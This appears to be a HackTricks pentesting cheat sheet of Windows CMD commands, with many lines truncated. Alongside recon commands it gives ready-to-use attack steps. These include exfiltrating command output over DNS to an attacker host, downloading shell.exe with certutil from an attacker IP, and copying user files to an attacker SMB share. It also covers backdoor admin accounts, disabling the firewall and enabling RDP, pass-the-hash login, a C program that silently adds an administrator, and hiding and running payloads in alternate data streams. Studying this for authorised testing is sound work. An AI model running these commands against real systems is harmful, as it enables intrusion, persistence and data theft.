HackTricks HackTricks
HackTricks Training Twitter Linkedin
Ask or Search Ctrl + K

WELCOME!
HackTricks
HackTricks Values & FAQ
About the author

GENERIC METHODOLOGIES & RESOURCES
Pentesting Methodology
External Recon Methodology
Pentesting Network
Pentesting Wifi
Phishing Methodology
Basic Forensic Methodology
Brute Force - CheatSheet
Python Sandbox Escape & Pyscript
Exfiltration
Tunneling and Port Forwarding
Threat Modeling
Search Exploits
Reverse Shells (Linux, Windows, MSFVenom)

LINUX HARDENING
Checklist - Linux Privilege Escalation
Linux Privilege Escalation
Useful Linux Commands
Bypass Linux Restrictions
Linux Environment Variables
Linux Post-Exploitation
FreeIPA Pentesting

MACOS HARDENING
macOS Security & Privilege Escalation
macOS Red Teaming
macOS Useful Commands
macOS Auto Start

WINDOWS HARDENING
Checklist - Local Windows Privilege Escalation
Windows Local Privilege Escalation
Active Directory Methodology

Powered by GitBook

Basic Win CMD for Pentesters

System info

Version and Patches info

```
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architect
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that inform
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?
```

Environment

```
set #List all environment variables
```

Some env variables to highlight:

- **COMPUTERNAME**: Name of the computer
- **TEMP/TMP:** Temp folder
- **USERNAME:** Your username
- **HOMEPATH/USERPROFILE:** Home directory
- **windir:** C:\Windows
- **OS**:Windos OS
- **LOGONSERVER**: Name of domain controller
- **USERDNSDOMAIN**: Domain name to use with DNS
- **USERDOMAIN**: Name of the domain

```
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```

Mounted disks

```
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul
wmic logicaldisk get caption,description,providername
```

Defender

Recycle Bin

```
dir C:\$Recycle.Bin /s /b
```

Processes, Services & Software

```
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```

Domain info

```
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local a
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountnam
wmic sysaccount list /format:list # Dumps information about any system acc

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the admin
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains contro
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountna
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountna
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```

Logs & Events

```
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:
```

Users & Groups

Users

```
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be promp

#Check current logon session as administrator using logonsessions from sys
logonsessions.exe
logonsessions64.exe
```

Groups

```
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```

List sessions

```
qwinsta
klist sessions
```

Password Policy

```
net accounts
```

Credentials

```
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```

Persistence with users

```
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```

Network

Interfaces, Routes, Ports, Hosts and DNSCache

```
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```

Firewall

```
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out ac
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in act
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Serv
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConne

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Serv
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /ad

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```

Shares

```
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```

Wifi

```
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```

SNMP

```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```

Network Interfaces

```
ipconfig /all
```

ARP table

```
arp -A
```

Download

Bitsadmin.exe

```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/aut
```

CertReq.exe

```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```

Certutil.exe

```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```

Find much more searching for `Download` in https://lolbas-project.github.io

Misc

```
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prom

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case
```

Bypass Char Blacklisting

```
echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami
```

DOSfuscation

Generates an obfuscated CMD line

```
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
```

Listen address ACLs

You can listen on http://+:80/Temporary_Listen_Addresses/ without being administrator.

```
netsh http show urlacl
```

Manual DNS shell

Attacker (Kali) must use one of these 2 options:

```
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP>
```

Victim

`for /f tokens` technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server

```
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali>
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslooku
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enab
```

You can also **redirect** the output, and then **read** it.

```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\
```

Calling CMD from C code

```
#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
    int i;
    i=system("net users otherAcc 0TherAcc! /add");
    i=system("net localgroup administrators otherAcc /add");
    return 0;
}
```

Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)

Examples taken from https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. There are a lot more in there!

```
## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Lo
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriart

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```

Previous
WTS Impersonator

Next
Basic PowerShell for Pentesters

Last updated 3 months ago